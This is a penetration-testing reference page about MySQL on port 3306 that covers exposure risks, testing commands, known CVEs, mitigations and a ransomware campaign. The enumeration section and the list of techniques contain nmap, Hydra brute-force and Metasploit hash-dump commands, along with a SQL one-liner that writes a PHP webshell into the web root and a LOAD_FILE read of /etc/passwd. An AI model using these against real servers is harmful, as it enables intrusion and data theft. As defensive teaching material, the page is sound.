logo

Port 3306 – MySQL

Service:

mysqldmariadbdPercona Server

Protocol:

TCP

Port:

3306

Used for:

Client connections to MySQL and MariaDB relational database servers

Port 3306 is the default port for MySQL (and MariaDB) database servers — the TCP port the mysqld daemon listens on for client connections carrying authentication, SQL queries, and result sets. MariaDB, MySQL’s community fork, and Percona Server are drop-in replacements that use the same port and wire protocol, so everything here applies to all three. A database should almost never be reachable from the internet, which is exactly why an exposed port 3306 is one of the highest-value findings on a network: get in, and you’re usually one or two steps from the whole application’s data — and often from code execution on the host.

Why It’s Open

MySQL is the database half of the classic LAMP/LEMP stack, so port 3306 turns up behind almost every PHP application, WordPress install, and countless backend services. In a healthy design the database sits on a private network or the same host as the app and only ever answers on localhost or an internal address. The port becomes a problem when it’s bound to 0.0.0.0 and left open to the world — a default in some container images and quick-start guides, a leftover from a debugging session, or the result of a cloud security group that’s wider than anyone intended. Where MySQL is exposed, its siblings often are too: check for PostgreSQL on port 5432, Microsoft SQL Server on 1433, Oracle on 1521, MongoDB on 27017, Redis on 6379, and the newer MySQL X Protocol on port 33060.

Common Risks

  • Blank, default, or weak root password. The classic finding. A root account with no password, a well-known default, or something guessable is instant full control of every database on the server. Anonymous accounts (empty username) left over from an unhardened install are just as bad.
  • Exposed to the internet. MySQL was never meant to face the public network. Once 3306 is reachable, the server is subject to constant automated brute-forcing and mass-ransomware campaigns.
  • Over-broad grants. Accounts defined as user@'%' accept connections from anywhere, and GRANT ALL on *.* hands out far more than an app needs. One compromised app credential then reaches every schema.
  • File read and write via SQL. With the FILE privilege and a permissive secure_file_priv, LOAD_FILE() reads arbitrary files off the server and SELECT ... INTO OUTFILE writes them — a webshell if the web root is writable.
  • Privilege escalation to the OS. A user-defined function (UDF) loaded through the database can run OS commands as the account mysqld runs under — historically root — turning database access into a full host compromise.
  • SQL injection landing here. Injection in a web app on port 80 or 443 ultimately executes against the MySQL instance on 3306, so the two findings reinforce each other.
  • Cleartext by default. Unless TLS is configured and required, credentials and query data cross the network unencrypted and can be sniffed on the path.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

logo-cta

Enumeration & Testing

Detect the service and grab the version banner

Terminal window
nmap -sV -p 3306 <target>

Run the MySQL NSE scripts

Terminal window
nmap -p 3306 --script=mysql-info,mysql-empty-password,mysql-enum,mysql-users,mysql-databases <target>

mysql-info prints the protocol/version and the password salt from the handshake; mysql-empty-password flags root/anonymous accounts with no password.

Connect with the native client

Terminal window
mysql -h <target> -u root -p
SELECT version();
SELECT user, host FROM mysql.user;
SHOW DATABASES;
SHOW GRANTS;

Brute-force with Hydra

Terminal window
hydra -L users.txt -P passwords.txt mysql://<target>

Metasploit modules

Terminal window
msfconsole -q
# Version fingerprint
use auxiliary/scanner/mysql/mysql_version
set RHOSTS <target>
run
# Credential brute-force
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
# CVE-2012-2122 auth bypass + hash dump
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS <target>
run

Post-authentication enumeration and hash dumping

Terminal window
# Enumerate config, accounts, and privileges
use auxiliary/admin/mysql/mysql_enum
# Run arbitrary SQL
use auxiliary/admin/mysql/mysql_sql
# Dump mysql.user password hashes for offline cracking
use auxiliary/scanner/mysql/mysql_hashdump

Dumped hashes crack offline with hashcat (mode 300 for the MySQL 4.1+ SHA1(SHA1(pw)) format) or John the Ripper. Log every open instance, working credential, and dumped hash as you go so it lands in the pentest report instead of a scratch terminal.

What to Look For

Checkpoint What it means
root login with blank/default password Full control of every database — critical
Anonymous account (empty user) accepted Unhardened install; often read access to schemas
Accounts defined as user@'%' Reachable from anywhere; over-broad by default
FILE privilege + empty secure_file_priv LOAD_FILE() / INTO OUTFILE file read and write
Writable web root reachable from SQL INTO OUTFILE webshell → RCE
Server running as root UDF sys_exec gives command execution as root
Pre-5.5.24 / pre-MariaDB 5.5.23 banner Check for CVE-2012-2122 authentication bypass
No TLS negotiated Credentials and queries sniffable on the wire

Known CVEs and Exploits

  • CVE-2012-2122 — The signature MySQL flaw. In vulnerable builds (MySQL before 5.5.24 / 5.6.6, MariaDB before 5.5.23) a memcmp return-value bug means roughly 1 in 256 authentication attempts with the wrong password is accepted, so repeatedly retrying logs you in as any user, including root. Weaponised as Metasploit’s auxiliary/scanner/mysql/mysql_authbypass_hashdump, nmap’s mysql-vuln-cve2012-2122, and Exploit-DB 19092. CVSS 2.0 5.1, CWE-287.
  • CVE-2016-6662 — Remote root code execution / privilege escalation. An attacker with query access (including via SQL injection) can point general_log_file at a my.cnf and inject a malloc_lib directive, so a malicious shared library is preloaded when mysqld restarts — code execution as root. Affects MySQL ≤ 5.7.15, MariaDB, and Percona; Exploit-DB 40360. CVSS 3.0 9.8, CWE-264.
  • CVE-2016-6663 — A race condition in REPAIR TABLE on a MyISAM table lets a low-privileged local user escalate to the mysql system user. Disclosed alongside 6662 and chained with it to reach root. Affects MySQL ≤ 5.7.15, MariaDB, and Percona. CVSS 3.0 7.0, CWE-362.
  • CVE-2021-27928 — OS command execution in MariaDB (10.2 before 10.2.37 through 10.5 before 10.5.9), Percona Server, and the MySQL wsrep patch. A SUPER-privileged user sets wsrep_provider / wsrep_notify_cmd to a malicious path, and the payload runs on the host. Exploit-DB 49765. CVSS 3.1 7.2, CWE-94.

Two of the most useful post-authentication techniques are features, not CVEs, and belong on any exposed-MySQL checklist:

  • File read/write via SQL. With the FILE privilege and a permissive secure_file_priv, SELECT LOAD_FILE('/etc/passwd') reads server files and SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php' drops a webshell where the web server can run it. sqlmap --os-shell automates this path.
  • UDF privilege escalation. Uploading a compiled library (lib_mysqludf_sys.so / raptor_udf2.c) into the plugin directory and defining sys_exec() / sys_eval() runs OS commands as the mysqld account — root on many setups. Metasploit’s exploit/multi/mysql/mysql_udf_payload automates the INTO DUMPFILE binary injection and function creation.

Mitigation

  • Never expose 3306 to the internet. Bind MySQL to localhost or an internal address (bind-address = 127.0.0.1), keep it on the app tier or a private subnet, and firewall the port to known database clients only.
  • Strong, unique credentials. Set a strong root password, remove anonymous accounts, and give each application its own least-privilege user scoped to the one schema it needs — no blanket GRANT ALL and no root for app connections.
  • Kill the wildcard hosts. Remove or tighten user@'%' grants so accounts only connect from the hosts they should.
  • Lock down file access. Set secure_file_priv to an empty/restricted directory (or disable it), don’t grant FILE unless an account truly needs it, and disable LOCAL INFILE to stop a rogue server reading client files.
  • Run unprivileged. Ensure mysqld runs as the dedicated mysql user, never root, so a UDF or file-write can’t become instant host root.
  • Require TLS. Configure certificates and enforce encrypted connections so credentials and query data aren’t sniffable.
  • Patch and monitor. Keep MySQL/MariaDB current (2012-2122, 2016-6662, and the wsrep bug are all patched), and alert on repeated failed logins and new accounts.

Real-World Example

Between 2020 and 2021, Guardicore Labs tracked the PLEASE_READ_ME campaign, an opportunistic ransomware operation whose entire attack chain was “find an internet-facing MySQL server and brute-force weak credentials.” With close to five million MySQL servers exposed to the internet at the time, that was enough: the attackers archived and deleted victims’ databases, left a ransom note table demanding payment in Bitcoin, and planted a backdoor account for re-entry. By the time it was reported, the operators claimed roughly 83,000 breached servers with 250,000 databases listed for sale on a double-extortion leak site. No exploit, no CVE — just port 3306 open to the world with a guessable password. It’s the clearest possible argument for keeping databases off the public network.

FAQ

What is port 3306 used for?

Port 3306 is the default TCP port for MySQL and MariaDB database servers. Client applications connect to it to authenticate and run SQL queries. In a secure setup it’s only reachable from the application server or localhost, never the public internet.

Is port 3306 dangerous?

It is when it’s exposed. A database on the internet is constantly scanned and brute-forced, and a weak or default root password gives an attacker every database on the server — often followed by file write or command execution on the host. Port 3306 should be firewalled to trusted clients and never left open to the world.

What’s the difference between port 3306 and port 33060?

Port 3306 is the classic MySQL protocol used by almost every client and application. Port 33060 is the newer MySQL X Protocol, used by MySQL Shell and document-store/X DevAPI clients. Both should be kept off the public internet.

How do I secure or close port 3306?

Bind MySQL to localhost or an internal address, firewall 3306 to known database clients, set a strong root password, remove anonymous and user@'%' accounts, grant each app a least-privilege user, restrict secure_file_priv, require TLS, and patch. If nothing external needs the database, make sure the port isn’t reachable off-host and confirm with a rescan.

TL;DR

  • Service: MySQL / MariaDB relational database (mysqld)
  • Default port: 3306/TCP (MySQL X Protocol on 33060)
  • Biggest risk: internet exposure with a blank/weak root password, escalating to file write and UDF command execution
  • Mitigation: bind to localhost/internal, firewall to trusted clients, strong least-privilege accounts, restrict file privileges, require TLS, patch